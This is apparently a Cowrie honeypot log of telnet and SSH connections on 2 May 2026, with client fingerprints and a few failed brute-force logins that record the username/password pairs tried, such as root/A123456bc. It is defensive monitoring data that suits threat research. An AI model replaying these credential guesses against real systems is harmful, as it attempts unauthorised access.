{"eventid":"cowrie.session.connect","src_ip":"67.23.227.170","src_port":42334,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd939ab4d992","protocol":"telnet","message":"New connection: 67.23.227.170:42334 (159.203.135.109:23) [session: bd939ab4d992]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:58:59.343920Z"}
{"eventid":"cowrie.session.closed","duration":56.32786202430725,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:59:01.329232Z","src_ip":"67.23.227.170","session":"fada35f879f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.78862738609314,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:59:07.840999Z","src_ip":"64.227.101.30","session":"eccd9de64166","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92394995689392,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:59:22.202502Z","src_ip":"67.23.227.170","session":"53810ee891c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":45760,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e7cf73c4a23","protocol":"telnet","message":"New connection: 68.183.198.12:45760 (159.203.135.109:23) [session: 4e7cf73c4a23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:59:24.701374Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":45950,"dst_ip":"159.203.135.109","dst_port":23,"session":"94d6d0fd48ca","protocol":"telnet","message":"New connection: 68.183.198.12:45950 (159.203.135.109:23) [session: 94d6d0fd48ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:59:26.950486Z"}
{"eventid":"cowrie.session.closed","duration":30.849627256393433,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:59:30.193366Z","src_ip":"67.23.227.170","session":"bd939ab4d992","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.89142894744873,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:59:35.412550Z","src_ip":"64.227.101.30","session":"7df4c27e84e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.970993518829346,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:59:36.056454Z","src_ip":"64.227.101.30","session":"eb86840225d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.5048291683197,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:59:39.017232Z","src_ip":"64.227.101.30","session":"619d60a66c6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":33150,"dst_ip":"10.17.0.5","dst_port":23,"session":"7dee568e1bbf","protocol":"telnet","message":"New connection: 64.227.101.30:33150 (10.17.0.5:23) [session: 7dee568e1bbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:59:39.604405Z"}
{"eventid":"cowrie.session.closed","duration":42.87118482589722,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:59:39.961190Z","src_ip":"64.227.101.30","session":"5d8d4c1ed157","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"67.23.227.170","src_port":47256,"dst_ip":"159.203.135.109","dst_port":23,"session":"da43ae0768c9","protocol":"telnet","message":"New connection: 67.23.227.170:47256 (159.203.135.109:23) [session: da43ae0768c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:59:44.266041Z"}
{"eventid":"cowrie.session.closed","duration":0.047301530838012695,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:59:44.313218Z","src_ip":"67.23.227.170","session":"da43ae0768c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":33864,"dst_ip":"10.17.0.5","dst_port":23,"session":"e430fb1df683","protocol":"telnet","message":"New connection: 64.227.101.30:33864 (10.17.0.5:23) [session: e430fb1df683]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:59:45.007779Z"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.36.49","src_port":47811,"dst_ip":"10.17.0.5","dst_port":22,"session":"65af711324bc","protocol":"ssh","message":"New connection: 49.247.36.49:47811 (10.17.0.5:22) [session: 65af711324bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:59:45.439651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:59:45.444338Z","src_ip":"49.247.36.49","session":"65af711324bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:59:45.653490Z","src_ip":"49.247.36.49","session":"65af711324bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":56151,"dst_ip":"10.17.0.5","dst_port":22,"session":"0baf9166197a","protocol":"ssh","message":"New connection: 216.155.93.75:56151 (10.17.0.5:22) [session: 0baf9166197a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:59:46.252019Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:59:46.255662Z","src_ip":"216.155.93.75","session":"0baf9166197a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:59:46.407516Z","src_ip":"216.155.93.75","session":"0baf9166197a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A123456bc","message":"login attempt [root/A123456bc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:59:46.521284Z","src_ip":"49.247.36.49","session":"65af711324bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest1","password":"guest1","message":"login attempt [guest1/guest1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:59:47.044813Z","src_ip":"216.155.93.75","session":"0baf9166197a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:59:47.732005Z","src_ip":"49.247.36.49","session":"65af711324bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":35374,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b1559923a91","protocol":"telnet","message":"New connection: 64.227.101.30:35374 (10.17.0.5:23) [session: 7b1559923a91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:59:48.138838Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:59:48.198198Z","src_ip":"216.155.93.75","session":"0baf9166197a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":36614,"dst_ip":"10.17.0.5","dst_port":23,"session":"a56eecc59f75","protocol":"telnet","message":"New connection: 64.227.101.30:36614 (10.17.0.5:23) [session: a56eecc59f75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:59:50.526754Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":49582,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ac2cf33166b","protocol":"telnet","message":"New connection: 68.183.198.12:49582 (159.203.135.109:23) [session: 5ac2cf33166b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:59:51.017795Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":39854,"dst_ip":"10.17.0.5","dst_port":23,"session":"bcb45326143c","protocol":"telnet","message":"New connection: 64.227.101.30:39854 (10.17.0.5:23) [session: bcb45326143c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:00:02.333336Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":41564,"dst_ip":"10.17.0.5","dst_port":23,"session":"d95c49b4abe9","protocol":"telnet","message":"New connection: 64.227.101.30:41564 (10.17.0.5:23) [session: d95c49b4abe9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:00:09.318354Z"}
{"eventid":"cowrie.session.closed","duration":47.00195002555847,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:00:11.703182Z","src_ip":"68.183.198.12","session":"4e7cf73c4a23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":38532,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e16e34b336c","protocol":"telnet","message":"New connection: 64.227.101.30:38532 (10.17.0.5:23) [session: 7e16e34b336c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:00:13.948873Z"}
{"eventid":"cowrie.session.closed","duration":47.03125333786011,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:00:13.981622Z","src_ip":"68.183.198.12","session":"94d6d0fd48ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":43900,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ca1934d69d2","protocol":"telnet","message":"New connection: 64.227.101.30:43900 (10.17.0.5:23) [session: 3ca1934d69d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:00:17.427631Z"}
{"eventid":"cowrie.session.closed","duration":38.25917410850525,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:00:17.863474Z","src_ip":"64.227.101.30","session":"7dee568e1bbf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":32852,"dst_ip":"10.17.0.5","dst_port":23,"session":"5fcd308c8d95","protocol":"telnet","message":"New connection: 64.227.101.30:32852 (10.17.0.5:23) [session: 5fcd308c8d95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:00:19.920955Z"}
{"eventid":"cowrie.session.closed","duration":0.005924224853515625,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:00:19.926775Z","src_ip":"64.227.101.30","session":"5fcd308c8d95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.401392459869385,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:00:25.409046Z","src_ip":"64.227.101.30","session":"e430fb1df683","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"67.23.227.170","src_port":53674,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f5dd04954ae","protocol":"telnet","message":"New connection: 67.23.227.170:53674 (159.203.135.109:23) [session: 8f5dd04954ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:00:27.595081Z"}
{"eventid":"cowrie.session.closed","duration":37.84089279174805,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:00:28.367563Z","src_ip":"64.227.101.30","session":"a56eecc59f75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":46362,"dst_ip":"10.17.0.5","dst_port":23,"session":"d603b4f9978f","protocol":"telnet","message":"New connection: 64.227.101.30:46362 (10.17.0.5:23) [session: d603b4f9978f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:00:30.413129Z"}
{"eventid":"cowrie.session.closed","duration":1.4867098331451416,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:00:31.899640Z","src_ip":"64.227.101.30","session":"d603b4f9978f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":49094,"dst_ip":"10.17.0.5","dst_port":23,"session":"399bcce623c9","protocol":"telnet","message":"New connection: 64.227.101.30:49094 (10.17.0.5:23) [session: 399bcce623c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:00:32.731402Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":34116,"dst_ip":"10.17.0.5","dst_port":23,"session":"0937cc3db350","protocol":"telnet","message":"New connection: 64.227.101.30:34116 (10.17.0.5:23) [session: 0937cc3db350]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:00:42.441453Z"}
{"eventid":"cowrie.session.closed","duration":0.005199432373046875,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:00:42.446520Z","src_ip":"64.227.101.30","session":"0937cc3db350","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"67.23.227.170","src_port":55712,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c932a7ac57c","protocol":"telnet","message":"New connection: 67.23.227.170:55712 (159.203.135.109:23) [session: 5c932a7ac57c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:00:43.681196Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":56776,"dst_ip":"159.203.135.109","dst_port":23,"session":"87e450497963","protocol":"telnet","message":"New connection: 68.183.198.12:56776 (159.203.135.109:23) [session: 87e450497963]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:00:44.533857Z"}
{"eventid":"cowrie.session.closed","duration":36.3915913105011,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:00:45.709823Z","src_ip":"64.227.101.30","session":"d95c49b4abe9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":52782,"dst_ip":"10.17.0.5","dst_port":23,"session":"316998b8601c","protocol":"telnet","message":"New connection: 64.227.101.30:52782 (10.17.0.5:23) [session: 316998b8601c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:00:46.051590Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":36387,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa87ff719626","protocol":"ssh","message":"New connection: 216.155.93.75:36387 (10.17.0.5:22) [session: fa87ff719626]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:00:50.249040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:00:50.254111Z","src_ip":"216.155.93.75","session":"fa87ff719626","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:00:50.403166Z","src_ip":"216.155.93.75","session":"fa87ff719626","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1QA2ws3ed","message":"login attempt [root/1QA2ws3ed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:00:51.028611Z","src_ip":"216.155.93.75","session":"fa87ff719626","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:00:52.180301Z","src_ip":"216.155.93.75","session":"fa87ff719626","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.77491641044617,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:00:52.723691Z","src_ip":"64.227.101.30","session":"7e16e34b336c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.43630909919739,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:00:53.769497Z","src_ip":"64.227.101.30","session":"bcb45326143c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":56810,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7de1105d768","protocol":"telnet","message":"New connection: 64.227.101.30:56810 (10.17.0.5:23) [session: f7de1105d768]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:00:54.052654Z"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.36.49","src_port":43527,"dst_ip":"10.17.0.5","dst_port":22,"session":"cac7915a9b8a","protocol":"ssh","message":"New connection: 49.247.36.49:43527 (10.17.0.5:22) [session: cac7915a9b8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:00:54.297784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:00:54.302523Z","src_ip":"49.247.36.49","session":"cac7915a9b8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:00:54.505795Z","src_ip":"49.247.36.49","session":"cac7915a9b8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest1","password":"guest1","message":"login attempt [guest1/guest1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:00:55.353628Z","src_ip":"49.247.36.49","session":"cac7915a9b8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:00:56.561410Z","src_ip":"49.247.36.49","session":"cac7915a9b8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.02001953125,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:00:57.447511Z","src_ip":"64.227.101.30","session":"3ca1934d69d2","protocol":"telnet"}
